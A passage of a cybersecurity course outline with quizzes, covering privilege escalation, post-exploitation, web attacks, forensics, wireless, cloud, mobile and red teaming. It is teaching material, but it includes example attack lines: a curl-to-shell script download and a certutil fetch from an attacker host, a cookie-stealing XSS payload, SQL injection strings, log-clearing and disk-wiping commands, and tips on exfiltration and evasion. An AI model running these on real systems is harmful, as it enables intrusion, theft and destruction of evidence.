| env vars / configs | Look for leaked passwords |
Linux Privilege Escalation
Automated enumeration: LinPEAS: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh. Checks: SUID binaries, cron jobs, writable files, kernel exploits, capabilities, and misconfigurations.
Common vectors: SUID binaries (find / -perm -4000), writable /etc/passwd, sudo misconfigurations (sudo -l), cron jobs running as root, kernel exploits (DirtyPipe, DirtyCow), and capabilities (getcap -r /).
GTFOBins (gtfobins.github.io) catalogs binaries that can be abused for privesc. Examples: sudo vim -c ':!/bin/sh', sudo find / -exec /bin/sh \;, sudo python with os.execl to spawn a root shell.
📝 Quick Quiz
What is the first command to check for Linux privesc vectors?
Windows Privilege Escalation
Automated: WinPEAS: winpeas.exe checks: unquoted service paths, DLL hijacking, AlwaysInstallElevated, token impersonation, and registry misconfigurations. PowerUp: PowerShell privesc checks.
Common vectors: Unquoted service paths, writable service binaries, AlwaysInstallElevated registry keys, token impersonation (SeImpersonatePrivilege), stored credentials (cmdkey /list), scheduled tasks, and MS16-032/MS16-075.
LOLBAS (Living Off The Land Binaries and Scripts): abuse legitimate Windows binaries for privesc. certutil.exe -urlcache -split -f http://attacker/payload.exe. mshta.exe, powershell.exe, rundll32.exe can all be abused.
📝 Quick Quiz
What Windows vulnerability allows MSI installation as SYSTEM?
Kernel Exploits & Misconfigurations
Kernel exploits target OS vulnerabilities: DirtyCow (CVE-2016-5195) — race condition in mm/gup.c. DirtyPipe (CVE-2022-0847) — pipe buffer overwrite. PwnKit (CVE-2021-4034) — pkexec SUID vulnerability.
Check kernel version: uname -a. Search exploit databases (Exploit-DB, GitHub) for matching exploits. Compile and execute: gcc exploit.c -o exploit && ./exploit. May require specific conditions or kernel configs.
Misconfigurations: writable /etc/passwd (add user with empty password), world-writable directories in PATH, LD_PRELOAD hijacking, cron jobs running as root with writable scripts. Always enumerate thoroughly before attempting exploits.
📝 Quick Quiz
What kernel vulnerability exploits a race condition in memory management?
Token Impersonation & Lateral Movement
Token Impersonation: Windows access tokens represent security contexts. Steal tokens from running processes: token::elevate (Mimikatz). SeImpersonatePrivilege allows impersonating authenticated users.
Lateral movement: Pass-the-Hash (use NTLM hashes without password), Pass-the-Ticket (use Kerberos tickets), PsExec (remote execution), WMI (Windows Management Instrumentation), WinRM (remote management).
Tools: CrackMapExec: cme smb target -u user -p pass --shares. Evil-WinRM: evil-winrm -i target -u user -p pass. Impacket suite: psexec.py, wmiexec.py, smbexec.py. Pivot through networks using compromised credentials.
📝 Quick Quiz
What privilege is required for Windows token impersonation?
📝 Quick Quiz
Which Linux attribute lets a binary run with its owner's privileges?
📝 Quick Quiz
The command sudo -l reveals:
📝 Quick Quiz
Kernel exploits target:
📝 Quick Quiz
Which is a common Windows privilege escalation vector?
Post-Exploitation & Lateral Movement
Techniques for maintaining access, pivoting through networks, and achieving objectives after initial compromise.
| Command / Term | What it does |
|---|---|
| Persistence | cron jobs, SSH keys, startup entries |
| Lateral movement | SSH, RDP, SMB, pass-the-hash |
mimikatz | Dump Windows credentials |
| Pivoting | Route through compromised host |
| Exfiltration | scp, curl, DNS tunneling |
| Cleanup | Remove artifacts, logs |
| Cover tracks | Log tampering, timestomping |
| postexploitation msf | sysinfo, screenshot, migrate, shell |
Data Exfiltration & Persistence
Data exfiltration: encode data to avoid detection. base64 file | xclip -selection clipboard. Use DNS tunneling: dnscat2, iodine. HTTP/S channels blend with normal traffic. Rclone for cloud exfiltration.
Persistence mechanisms: Linux: cron jobs, systemd services, SSH keys, .bashrc. Windows: registry run keys, scheduled tasks, services, WMI subscriptions, DLL search order hijacking.
Cover tracks: clear logs (echo > /var/log/auth.log), modify timestamps (touch -r original modified), remove artifacts. On Windows: clear event logs, modify timestamps, delete temp files. Use ThreatHunting to understand what defenders look for.
📝 Quick Quiz
What tool provides DNS-based command and control?
Lateral Movement Techniques
Network pivoting: use compromised hosts as jump boxes. SOCKS proxy: ssh -D 1080 user@compromised. Chisel: tunnel through firewalls. ProxyChains: route tools through SOCKS proxy.
Credential reuse: dump hashes (mimikatz), extract Kerberos tickets (ticketer.py), crack passwords (hashcat). Reuse credentials across services and systems. Check for password spray opportunities.
Active Directory attacks: Kerberoasting (request service tickets, crack offline), AS-REP Roasting (target accounts without pre-auth), Golden Ticket (forged TGT with domain hash), DCSync (replicate domain controller).
📝 Quick Quiz
What AD attack requests Kerberos service tickets for offline cracking?
Command & Control Frameworks
Cobalt Strike: commercial C2 with Malleable C2 profiles, listeners, and beacon payloads. Industry standard for red teams. Sliver: open-source alternative with similar capabilities.
Empire: PowerShell/Python post-exploitation framework. Havoc: modern C2 framework with evasion capabilities. Brute Ratel: evades EDR with custom loaders and malleable profiles.
C2 best practices: use encrypted channels, blend with legitimate traffic, use domain fronting, rotate infrastructure, implement sleep jitter, and use custom profiles to mimic normal HTTP traffic patterns.
📝 Quick Quiz
What is the industry-standard commercial C2 framework?
Covering Tracks & Anti-Forensics
Log manipulation: clear or modify /var/log/auth.log, /var/log/syslog. On Windows: clear Security, System, and Application event logs. Use timestomp to modify file timestamps.
Anti-forensics tools: Timestomp (modify MAC times), Cleaner (remove artifacts), Secure-delete (srm for secure file deletion). Overwrite free space: dd if=/dev/urandom of=/dev/sda bs=1M.
Detection evasion: understand EDR/AV detection methods (behavioral analysis, memory scanning, network signatures). Use process injection, reflective DLL loading, and encrypted communications. Document evasion techniques for the red team report.
📝 Quick Quiz
What tool modifies file timestamps to hide evidence?
📝 Quick Quiz
Persistence techniques are used to:
📝 Quick Quiz
Pivoting lets an attacker:
📝 Quick Quiz
Which technique dumps credentials from Windows memory?
📝 Quick Quiz
Data exfiltration is:
Web Application Security
Master web vulnerabilities: SQLi, XSS, CSRF, SSRF, XXE, and web application penetration testing.
| Command / Term | What it does |
|---|---|
| OWASP Top 10 (2021) | A01 Broken Access Control, A02 Crypto Failures, A03 Injection... |
| XSS test | <script>alert(1)</script> |
| SQLi test | ' OR 1=1 -- - |
| IDOR | Change IDs in URLs/APIs |
| CSRF | Forge authenticated requests |
| Security headers | CSP, HSTS, X-Frame-Options, X-Content-Type-Options |
| WAF bypass | Encoding, case tricks, alternate payloads |
| burp tools | Repeater, Intruder, Scanner, Proxy |
SQL Injection Deep Dive
In-band SQLi: visible results. Union-based: ' UNION SELECT null,username,password FROM users--. Error-based: ' AND 1=CONVERT(int,(SELECT @@version))--. Determine column count with ORDER BY n.
Blind SQLi: Boolean-based: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--. Time-based: ' AND IF(SUBSTRING(password,1,1)='a',SLEEP(5),0)--. Slow but reliable.
Out-of-band: exfiltrate data via DNS or HTTP requests from the database server. SQLMap: sqlmap -u 'http://target/page?id=1' --dbs --tables --dump. Always test all input fields, headers, and cookies for injection points.
📝 Quick Quiz
What SQLi type uses time delays to infer data?
Cross-Site Scripting (XSS)
Reflected XSS: payload in URL parameters, reflected in response. Stored XSS: payload persisted in database. DOM-based XSS: client-side JavaScript processes unsanitized input into DOM sinks.
Payloads: <script>document.location='http://a/c='+document.cookie</script>. Event handlers: <img onerror=alert(1) src=x>. Filter bypasses: mixed case, encoding, null bytes, nested tags.
Defense: Content Security Policy (CSP), HttpOnly cookies, input validation, output encoding. Test with XSStrike or manual payloads. XSS can steal sessions, keylog, redirect, and deliver malware.
📝 Quick Quiz
Which XSS type is permanently stored in the target's database?
CSRF, SSRF & XXE
CSRF: forge requests that execute when authenticated user visits attacker's page. Exploit state-changing operations (password change, fund transfer). Defend with CSRF tokens, SameSite cookies, and origin validation.
SSRF: make the server access internal resources. http://target/fetch?url=http://169.254.169.254/latest/meta-data/ (cloud metadata). Exploit: internal port scanning, file read (file:///etc/passwd), cloud credential theft.
XXE: inject XML entities to read files or perform SSRF. Use DOCTYPE declarations with ENTITY elements pointing to system files. Blind XXE exfiltrates data via out-of-band channels. Always disable external entity processing in XML parsers.
📝 Quick Quiz
What does SSRF allow an attacker to do?
File Upload & Authentication Bypass
File Upload: bypass filters to upload web shells. Techniques: double extensions (shell.php.jpg), null bytes (shell.php%00.jpg), Content-Type manipulation, image metadata injection.
Authentication bypass: default credentials, brute force, credential stuffing, session fixation, JWT manipulation (alg:none), OAuth misconfiguration, and password reset flaws.
Session attacks: Session fixation: force known session ID. Session hijacking: steal session cookies via XSS or network sniffing. Token manipulation: modify JWT claims or session data. Always implement proper session management.
📝 Quick Quiz
What JWT attack exploits the none algorithm?
📝 Quick Quiz
What was the #1 OWASP Top 10 category in 2021?
📝 Quick Quiz
Stored XSS lets an attacker:
📝 Quick Quiz
SQL injection primarily targets:
📝 Quick Quiz
CSRF forces an authenticated victim to:
OS Security & Attacks
Operating system security hardening, common attacks, and defensive techniques for Windows and Linux.
| Command / Term | What it does |
|---|---|
| Hardening | Disable unused services, patch, least privilege |
| CIS Benchmarks | Configuration standards per OS |
| Patch cycle | Known CVEs are the #1 entry vector |
| EDR | Endpoint Detection and Response |
| MFA | Multi-factor authentication |
| HIPS/HIDS | Host intrusion prevention/detection |
| App allowlisting | Only run approved executables |
| Audit logs | Enable and review system logging |
Windows Security Hardening
Harden with Group Policy: enforce password policies, disable unnecessary services, restrict USB storage, enable audit logging. Windows Defender: enable ATP, configure ASR rules, network protection.
Patch management: wuauclt /detectnow /updatenow. Enable automatic updates. Use WSUS or SCCM for enterprise patching. Critical patches within 24-48 hours of release.
Firewall: netsh advfirewall set allprofiles state on. Disable SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol $false. Enable LSA protection. Configure Windows Event Forwarding for centralized logging.
📝 Quick Quiz
What Windows feature provides centralized policy management?
Linux Security Hardening
SSH hardening: disable root login (PermitRootLogin no), use key-based auth, change default port, implement fail2ban. Firewall: ufw enable or firewalld. Disable unused services.
File permissions: chmod 600 /etc/shadow, chmod 700 /root. Enable SELinux/AppArmor for mandatory access control. Audit SUID/SGID binaries: find / -perm -4000 -o -perm -2000.
Monitoring: auditd for system call auditing, rsyslog for centralized logging, ossec for HIDS, tripwire for file integrity monitoring. Regular lynis audit system for compliance checks.
📝 Quick Quiz
What tool provides file integrity monitoring on Linux?
Common OS Attacks
Pass-the-Hash: use NTLM hashes without knowing the password. Golden Ticket: forged Kerberos TGT. DCSync: replicate domain controller. Kerberoasting: crack service ticket hashes.
Linux: DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195), PwnKit (CVE-2021-4034), kernel module loading, ptrace injection. Exploit misconfigured sudo rules and cron jobs.
Cross-platform: man-in-the-middle (ARP spoofing, DNS poisoning), denial of service (SYN flood, amplification), physical attacks (evil maid, cold boot), supply chain attacks (compromised updates).
📝 Quick Quiz
What Windows attack uses NTLM hashes for authentication?
Security Monitoring & Detection
SIEM: Splunk, ELK Stack, Wazuh aggregate logs and detect anomalies. Correlate events across endpoints, network, and applications. Create detection rules for known attack patterns.
EDR: CrowdStrike, Carbon Black, SentinelOne monitor endpoint behavior. Detect process injection, fileless malware, and lateral movement. NDR: Darktrace, Zeek analyze network traffic for anomalies.
Threat hunting: proactively search for indicators of compromise (IOCs). Use MITRE ATT&CK framework to map techniques. Hunt for persistence mechanisms, unusual network connections, and anomalous process behavior.
📝 Quick Quiz
What framework maps adversary tactics and techniques?
📝 Quick Quiz
Which practice is core to OS hardening?
📝 Quick Quiz
EDR stands for:
📝 Quick Quiz
Patching mainly reduces risk from:
📝 Quick Quiz
The principle of least privilege means:
Malware Analysis
Analyze malware behavior, reverse engineer binaries, and develop detection signatures.
| Command / Term | What it does |
|---|---|
| Types | Virus, worm, trojan, ransomware, rootkit, keylogger |
| Triage | File type, hashes, strings, suspicious imports |
strings file | Extract readable strings |
| Static analysis | Review code without executing |
| Dynamic analysis | Run in a sandbox, watch behavior |
| Process monitor | Watch file/reg/network activity |
| YARA rules | Pattern matching for malware families |
| VT / Joe Sandbox | Online analysis sandboxes |
Malware Types & Taxonomy
Viruses: attach to executables, spread via user action. Worms: self-replicating, spread without user interaction. Trojans: disguise as legitimate software. Ransomware: encrypt files for ransom. Spyware: covert surveillance.
Rootkits: hide persistence mechanisms (kernel rootkits modify OS). Bootkits: infect boot sector/UEFI. Fileless malware: lives in memory, uses legitimate tools (PowerShell, WMI). Polymorphic/metamorphic: change code to evade detection.
Analysis environment: use virtual machines (VMware, VirtualBox) with snapshot capability. Cuckoo Sandbox automates dynamic analysis. FLARE VM and REMnux are purpose-built malware analysis distributions.
📝 Quick Quiz
What type of malware encrypts files and demands payment?
Static Analysis
Examine without execution: file (identify type), strings (extract readable text — URLs, IPs, registry keys), PEview/pestudio (PE header analysis). Check hashes on VirusTotal.
IDA Pro/Ghidra: disassemble and decompile. Identify functions, imports (API calls reveal behavior), and control flow. Look for anti-analysis techniques: debugger detection, VM detection, timing checks.
Static signatures: YARA rules match byte patterns. yara -r rules/ sample.exe. Create detection signatures from identified indicators: function hashes, string patterns, and behavioral markers.
📝 Quick Quiz
What free tool provides reverse engineering capabilities comparable to IDA Pro?
Dynamic Analysis
Execute in sandboxed environment and monitor: Process Monitor (file system, registry, network activity), Wireshark (network traffic), Regshot (registry changes), ProcDot (behavior visualization).
Cuckoo Sandbox: automated analysis — drops sample, monitors API calls, network traffic, file modifications. Generates detailed reports with indicators of compromise (IOCs).
Observe: persistence mechanisms, network connections (C2 communication), file modifications, registry changes, process injection, and privilege escalation attempts. Extract IOCs: IPs, domains, file hashes, mutexes, registry keys.
📝 Quick Quiz
What tool monitors file system, registry, and process activity?
Reverse Engineering Basics
Assembly fundamentals: x86/x64 registers (EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP, EIP). Common instructions: MOV, PUSH, POP, CALL, RET, JMP, CMP, JNE/JE. Stack operations are critical for understanding function calls.
Ghidra workflow: load binary → analyze → view functions → decompile (F5) → rename variables → understand logic. Focus on: entry point, API imports, string references, and cryptographic constants.
Anti-analysis techniques: packers (UPX, Themida) — unpack before analysis. Anti-debugging: INT 2D, IsDebuggerPresent, timing checks. Anti-VM: check for VMware/VirtualBox artifacts. Bypass with ScyllaHide or manual patching.
📝 Quick Quiz
What register holds the instruction pointer in x86?
📝 Quick Quiz
Which malware spreads without the victim running a file?
📝 Quick Quiz
Static malware analysis:
📝 Quick Quiz
A sandbox is mainly used for:
📝 Quick Quiz
Ransomware's primary goal is to:
Digital Forensics & Incident Response
Master forensic investigation, evidence collection, memory analysis, and incident response procedures.
| Command / Term | What it does |
|---|---|
| Order of volatility | CPU/registers > RAM > disk > backups |
| Acquisition | Forensic image = bit-for-bit copy |
| Hashing | SHA-256 verifies evidence integrity |
| Autopsy | Open-source forensic workbench |
| Volatility | RAM memory analysis |
| Windows artifacts | Prefetch, $MFT, Event Logs, Registry |
| Chain of custody | Document evidence handling |
| Timeline analysis | Correlate events by timestamps |
Forensic Investigation Methodology
Chain of custody: document every person who handles evidence. Use write-blockers for disk imaging. Order of volatility: capture memory first, then disk, then network. Document everything with timestamps.
Disk imaging: dd if=/dev/sda of=image.dd bs=4M or FTK Imager. Calculate hashes: md5sum image.dd && sha256sum image.dd to verify integrity. Mount images read-only for analysis.
Timeline analysis: Plaso/log2timeline creates super-timelines from multiple sources. Autopsy provides GUI-based analysis. Reconstruct user activity, file access, and system events chronologically.
📝 Quick Quiz
What should be captured first in forensic investigation?
Memory Forensics
Volatility: volatility -f memory.dump imageinfo → identify OS. volatility -f mem.dump --profile=Win7SP1x64 pslist (processes). volatility -f mem.dump --profile=Win7SP1x64 netscan (network connections).
Key plugins: pslist/pstree (running processes), malfind (inject code), hivelist (registry hives), hashdump (SAM database), filescan (open files), dumpfiles (extract files).
Extract: running processes, network connections, loaded DLLs, registry hives, command history, clipboard contents, and encryption keys. Memory analysis reveals attacks that leave no disk artifacts.
📝 Quick Quiz
What Volatility plugin detects injected code in processes?
Disk & File System Forensics
File system analysis: NTFS ($MFT, $LogFile), ext4 (journal), FAT32. Recover deleted files from unallocated space. Analyze file metadata (MAC times: Modified, Accessed, Created).
AUTOPSY: GUI-based disk analysis — file recovery, keyword search, web artifacts, email analysis, picture viewer, timeline. Sleuth Kit: CLI tools for file system analysis.
Browser forensics: extract history, cookies, cache, bookmarks from Chrome, Firefox, Edge. Eric Zimmerman tools: registry analysis (Registry Explorer), prefetch analysis (Prefetch), shellbag analysis, LNK file analysis.
📝 Quick Quiz
What NTFS metadata file tracks all file system transactions?
Incident Response Procedures
NIST IR lifecycle: Preparation → Detection & Analysis → Containment → Eradication & Recovery → Post-Incident Activity. Each phase has specific procedures and deliverables.
Containment: short-term (isolate affected systems) and long-term (apply patches, update rules). Eradication: remove malware, close vulnerabilities, reset credentials. Recovery: restore from clean backups, monitor for reinfection.
Documentation: incident timeline, affected systems, IOCs, actions taken, lessons learned. DFIR-IRCS and SANS PICERL frameworks provide structured approaches. Post-incident: update playbooks, improve detection, conduct tabletop exercises.
📝 Quick Quiz
What is the first phase of the NIST Incident Response lifecycle?
📝 Quick Quiz
The very first step of incident forensics is:
📝 Quick Quiz
Hashing during acquisition verifies:
📝 Quick Quiz
Windows prefetch files contain:
📝 Quick Quiz
A forensic image is:
Wireless, Bluetooth & RF Hacking
Master wireless network attacks, Bluetooth exploitation, SDR, and RF security testing.
| Command / Term | What it does |
|---|---|
airmon-ng start wlan0 | Enable monitor mode |
airodump-ng wlan0mon | Capture beacons and handshakes |
aircrack-ng cap.pcap | Crack WPA handshake |
| Evil twin | Rogue AP impersonating a legit network |
| Deauth attack | Force clients to reconnect (capture handshake) |
| WPS pin attack | reaver bruteforces WPS PIN |
| Bluetooth | Pairing attacks, bluejacking |
| WPA2 | AES-CCMP; WPA3 adds SAE |
Wi-Fi Security & Attacks
Wi-Fi protocols: WEP (broken — recover key in minutes), WPA (TKIP — vulnerable), WPA2 (AES-CCMP — current standard), WPA3 (SAE — resistant to offline attacks). Enterprise uses 802.1X with RADIUS.
Attacks: Handshake capture: airodump-ng → aireplay-ng -0 (deauth) → capture 4-way handshake → aircrack-ng (dictionary attack). PMKID attack: no client needed, capture PMKID from AP.
Tools: Aircrack-ng suite (airmon, airodump, aireplay, airdecap). Wifite: automated wireless auditing. Hashcat: GPU-accelerated PMKID/handshake cracking. Enterprise attacks: hostapd-mana (evil twin with credential capture).
📝 Quick Quiz
Which Wi-Fi protocol is resistant to offline dictionary attacks?
Bluetooth & BLE Exploitation
Bluetooth attacks: Bluejacking (send unsolicited messages), Bluesnarfing (steal data), Bluebugging (full control). KNOB attack: forces weak encryption key negotiation.
BLE (Bluetooth Low Energy): widely used in IoT, medical devices, trackers. GATTacker: intercept BLE communications. Sweyntooth: vulnerabilities in BLE stacks. Braktooth: firmware-level Bluetooth vulnerabilities.
Tools: Ubertooth One (BLE sniffing), RTL-SDR (2.4 GHz monitoring), BtleJuice (BLE MitM). hcitool, bluesnarfer, Bluetoothd. Always test with proper authorization — RF testing may violate regulations.
📝 Quick Quiz
What is Bluesnarfing?
Software Defined Radio (SDR)
SDR uses software to process radio signals. Hardware: RTL-SDR ($25, receive-only), HackRF One ($300, TX/RX), Yard Stick One (sub-1 GHz TX/RX), Proxmark3 (RFID/NFC).
Applications: ISM band monitoring (433 MHz, 915 MHz), ADS-B tracking (aircraft), FM radio, POCSAG/pager, TPMS (tire pressure sensors). Use GNU Radio for signal processing.
RFID/NFC: Proxmark3 reads/writes RFID tags. Clone access cards (lf hid clone), analyze contactless payments, test physical access control systems. Understand modulation: AM, FM, PM, FSK, PSK.
📝 Quick Quiz
What is the most affordable SDR hardware for receiving radio signals?
Wireless Network Defense
Defense: WPA3-Enterprise with 802.1X (certificate-based auth). Network segmentation: separate wireless from critical infrastructure. WIDS/WIPS: detect rogue APs and evil twin attacks.
Monitor: Kismet (wireless IDS), WiFi Monitor (Android). Detect deauth attacks (802.11w PMF), unauthorized APs, and unusual traffic patterns. Log and alert on anomalies.
Best practices: disable WPS, use strong passphrases (20+ characters), update AP firmware, implement MAC filtering (supplementary), use 802.1X for enterprise. Regular wireless audits with Wifite or Aircrack-ng.
📝 Quick Quiz
What protocol protects against deauthentication attacks?
📝 Quick Quiz
Why was WEP abandoned?
📝 Quick Quiz
WPA2 uses which encryption standard?
📝 Quick Quiz
An evil twin attack:
📝 Quick Quiz
A WPS PIN brute force targets:
Cryptography
Understand encryption, hashing, PKI, and cryptographic attacks used in cybersecurity.
| Command / Term | What it does |
|---|---|
| Hashing | One-way: SHA-256, MD5 (broken), bcrypt |
| Symmetric | Same key: AES-256, ChaCha20 |
| Asymmetric | Key pair: RSA, ECC |
| PKI | Certificates + CAs + trust |
| TLS handshake | Hello -> Cert exchange -> Key exchange -> Encrypted |
| Salt | Adds randomness to password hashes |
| HMAC | Hash + secret key (integrity + auth) |
| openssl | genrsa, req, x509, s_client |
Symmetric & Asymmetric Encryption
Symmetric: same key encrypt/decrypt. Fast: AES (128/192/256-bit, block cipher), ChaCha20 (stream cipher). Key distribution is the challenge. DES (broken), 3DES (deprecated).
Asymmetric: public/private key pair. RSA (2048+ bit), ECC (elliptic curve, smaller keys). Used for key exchange and digital signatures. Slower than symmetric — typically used to exchange symmetric keys.
Hybrid encryption: use asymmetric to exchange a symmetric session key, then symmetric for bulk data. TLS/SSL uses this approach. Key exchange: Diffie-Hellman, ECDH. Perfect Forward Secrecy: ephemeral keys prevent past session decryption.
📝 Quick Quiz
Which symmetric encryption algorithm is the current industry standard?
Hashing & Digital Signatures
Hashing: one-way function producing fixed-size output. SHA-256 (cryptographic), SHA-3 (latest). MD5 and SHA-1 are broken — collisions found. Used for integrity verification and password storage.
HMAC: hash-based message authentication code — combines hash with secret key for authentication. Password hashing: bcrypt, scrypt, Argon2 (memory-hard, resist GPU cracking). Never store plaintext passwords.
Digital signatures: sign with private key, verify with public key. Ensures authenticity and non-repudiation. RSA signatures, ECDSA, EdDSA. Used in code signing, TLS certificates, and email encryption (PGP/GPG).
📝 Quick Quiz
Which hash algorithm is considered cryptographically broken?
PKI & Certificates
Public Key Infrastructure (PKI): hierarchical trust model. Certificate Authority (CA) issues certificates. Root CAs → Intermediate CAs → End-entity certificates. Browser trust stores contain root CAs.
X.509 certificates contain: subject, issuer, validity period, public key, signature algorithm, and extensions. Certificate Transparency (CT) logs all issued certificates publicly. OCSP and CRL check revocation status.
TLS handshake: Client Hello → Server Hello + Certificate → Key Exchange → Finished. Modern: TLS 1.3 (1-RTT, removes legacy ciphers). HSTS: force HTTPS. Certificate pinning: limit trusted CAs.
📝 Quick Quiz
What protocol replaced SSL for encrypted web communications?
Cryptographic Attacks
Brute force: try all possible keys. Dictionary attack: try common passwords. Rainbow tables: precomputed hash chains — defeat with salt. Timing attacks: measure computation time to infer secrets.
Padding oracle: exploit error messages to decrypt CBC ciphertext. Bleichenbacher: RSA padding oracle. Meet-in-the-middle: breaks double encryption. Downgrade attacks: force weak cipher suites.
Side-channel attacks: Power analysis, electromagnetic emanation, acoustic cryptanalysis. ROCA (CVE-2017-15361): Infineon RSA key generation vulnerability. Always use well-vetted cryptographic libraries — never implement your own crypto.
📝 Quick Quiz
What attack uses precomputed hash tables to crack passwords?
📝 Quick Quiz
Which is a cryptographic hash function?
📝 Quick Quiz
RSA is best described as:
📝 Quick Quiz
AES-256 is a:
📝 Quick Quiz
HTTPS traffic is protected by:
Cloud & Container Security
Master cloud security, container orchestration, serverless security, and cloud-native attacks.
| Command / Term | What it does |
|---|---|
| IAM | Identity and Access Management (users/roles/policies) |
| S3 misconfig | Public buckets expose data |
| Secrets | Never hardcode keys; use secret managers |
| Containers | Share host kernel; escape = host compromise |
| Kubernetes | Orchestrator; RBAC + network policies |
| Serverless | Auto-scaling functions; check permissions |
| Metadata service | 169.254.169.254 - SSRF target |
| Benchmarks | CIS AWS/Azure/GCP foundations |
AWS/Azure/GCP Security Fundamentals
AWS: IAM (users, roles, policies), Security Groups (stateful), NACLs (stateless), VPC (isolation), CloudTrail (audit logging), GuardDuty (threat detection). Shared responsibility model: cloud provider secures infrastructure, you secure data and configs.
Azure: Azure AD (identity), NSGs (network), Azure Sentinel (SIEM), Defender for Cloud (CSPM). GCP: IAM, VPC Firewall, Cloud Armor, Security Command Center. Each has unique security services and misconfiguration patterns.
Common cloud misconfigurations: public S3 buckets, open security groups, excessive IAM permissions, unencrypted storage, exposed database ports, and overly permissive CORS policies. Automated scanning with ScoutSuite, Prowler (AWS), CloudSploit.
📝 Quick Quiz
What is the shared responsibility model?
Container Security (Docker & Kubernetes)
Docker security: scan images (trivy image nginx:latest), use minimal base images (alpine), run as non-root (USER app), don't store secrets in images, use read-only filesystems.
Kubernetes: RBAC (least privilege), Network Policies (micro-segmentation), Pod Security Policies, Secrets management (Vault), audit logging. kube-hunter: scan K8s clusters for vulnerabilities.
Container escapes: exploit kernel vulnerabilities (DirtyPipe), misconfigured capabilities, container runtime vulnerabilities (CVE-2019-5736 runc). Defense: update runtimes, restrict capabilities, use seccomp profiles, enable AppArmor/SELinux.
📝 Quick Quiz
What tool scans container images for vulnerabilities?
Serverless & API Security
Serverless (AWS Lambda, Azure Functions): event-driven, ephemeral. Attacks: event injection, excessive permissions, insecure dependencies, environment variable exposure, and cold start timing attacks.
API security: broken authentication, excessive data exposure, lack of rate limiting, mass assignment, and injection. Test with OWASP API Security Top 10. Use Postman and OWASP ZAP for API testing.
Defense: API gateways, authentication (OAuth 2.0, JWT), rate limiting, input validation, schema enforcement, and logging. Monitor for anomalous API usage patterns indicating compromise or abuse.
📝 Quick Quiz
What is a common serverless attack vector?
Cloud Penetration Testing
Cloud pentest methodology: Recon (enumerate cloud services, IAM, storage), Enumerate (S3 buckets, EC2 instances, Lambda functions), Exploit (misconfigs, IAM abuse, metadata attacks), Post-exploit (pivot, escalate, exfiltrate).
AWS attacks: IMDSv1 metadata service (SSRF → credentials), S3 bucket enumeration, IAM privilege escalation, Lambda backdoor. Use Pacu (AWS exploitation framework).
Tools: Prowler (AWS security audit), ScoutSuite (multi-cloud), CloudMapper (AWS visualization), Stratus Red Team (cloud attack simulation). Document all findings with cloud-specific remediation guidance.
📝 Quick Quiz
What AWS metadata service version is vulnerable to SSRF-based credential theft?
📝 Quick Quiz
IAM in cloud computing manages:
📝 Quick Quiz
An open (public) S3 bucket can lead to:
📝 Quick Quiz
Containers differ from VMs because they:
📝 Quick Quiz
Serverless functions:
Mobile Security
Mobile application security testing, Android/iOS exploitation, and mobile device management.
| Command / Term | What it does |
|---|---|
adb devices | List connected Android devices |
adb install app.apk | Install APK |
adb shell | Interactive Android shell |
| Jadx | Decompile APK to Java |
| Rooting | Full control; enables deeper testing |
| Jailbreak | iOS equivalent |
| Insecure storage | Plaintext data in app files/databases |
| ART | Android Runtime - app sandbox per user |
Android Security & Exploitation
Android architecture: Linux kernel → HAL → Native libraries → Android Runtime → Framework → Applications. Security: SELinux, app sandboxing, permission model, verified boot, and Google Play Protect.
Static analysis: decompile APK with apktool (resources), jadx (Java source), DEX2JAR. Look for hardcoded secrets, insecure storage, weak crypto, and improper certificate validation.
Dynamic analysis: Frida (runtime instrumentation), Drozer (Android security testing framework), Objection (runtime mobile exploration). Bypass root detection, SSL pinning, and extract sensitive data.
📝 Quick Quiz
What tool decompiles Android APKs to Java source code?
iOS Security & Testing
iOS security: Secure Enclave, code signing, app sandboxing, Keychain, data protection API. Jailbreaking removes restrictions but voids warranty. checkra1n (bootrom exploit), unc0ver (kernel exploit).
Analysis: ipadump (extract IPA), class-dump (Objective-C headers), Frida (runtime hooking). Test for insecure data storage, weak cryptography, and URL scheme hijacking.
Common vulnerabilities: insecure Keychain storage, bypassing Touch ID/Face ID, URL scheme injection, insecure logging, and clipboard data exposure. Use Burp Suite with iOS proxy for network traffic analysis.
📝 Quick Quiz
What component handles cryptographic operations on iOS devices?
Mobile Penetration Testing Tools
Frida: dynamic instrumentation toolkit. Hook functions, modify behavior, bypass security controls. frida -U -f com.app -l hook.js. Objection: runtime mobile exploration built on Frida.
Drozer: Android security framework. drozer console connect → enumerate activities, services, broadcast receivers. Test for exported components and permission issues.
Burp Suite: mobile proxy for intercepting HTTP/S traffic. Configure Android/iOS to use Burp as proxy. Install Burp CA certificate for HTTPS interception. Test API endpoints for vulnerabilities.
📝 Quick Quiz
What is the primary tool for runtime mobile application instrumentation?
Mobile Device Management & BYOD
MDM (Mobile Device Management): enterprise control over devices. Solutions: Microsoft Intune, VMware Workspace ONE, Jamf (Apple). Enforce policies: passcode requirements, encryption, remote wipe, app restrictions.
BYOD (Bring Your Own Device): personal devices in enterprise. Challenges: data separation, privacy concerns, compliance. Solutions: containerization (work profile on Android), MAM (Mobile Application Management).
Threats: lost/stolen devices, malicious apps, unsecured Wi-Fi, jailbroken/rooted devices, data leakage. Defense: MDM/MAM policies, certificate-based authentication, VPN, mobile threat defense (MTD), and employee training.
📝 Quick Quiz
What does MDM stand for?
📝 Quick Quiz
Modern Android apps are sandboxed using:
📝 Quick Quiz
Which is a common mobile app security flaw?
📝 Quick Quiz
Rooting an Android device grants:
📝 Quick Quiz
iOS apps are typically distributed through:
Red Team Operations
Advanced adversary simulation, tactics, techniques, and procedures for red team engagements.
| Command / Term | What it does |
|---|---|
| MITRE ATT&CK | Tactics/Techniques/Procedures framework |
| Kill chain mapping | Map attack to ATT&CK techniques |
| C2 | Command & Control channel |
| OPSEC | Keep operations hidden: encrypt, blend traffic |
| Adversary emulation | Mimic a specific threat actor |
| Purple team | Red + Blue working together |
| Deception | Honeypots, canaries |
| Engagement | Time-boxed, goals defined upfront |
Red Team Planning & Execution
Red team engagements simulate real-world adversaries. Planning: define objectives (gain domain admin, exfiltrate data), scope (systems, techniques), and rules of engagement. Create a Threat Actor Profile to emulate specific TTPs.
Execution phases: Initial Access (phishing, web exploits, supply chain), Establish Foothold (C2 deployment, persistence), Escalate (local privesc, domain escalation), Lateral Move (credential reuse, pivoting), Objective (data exfil, domain compromise).
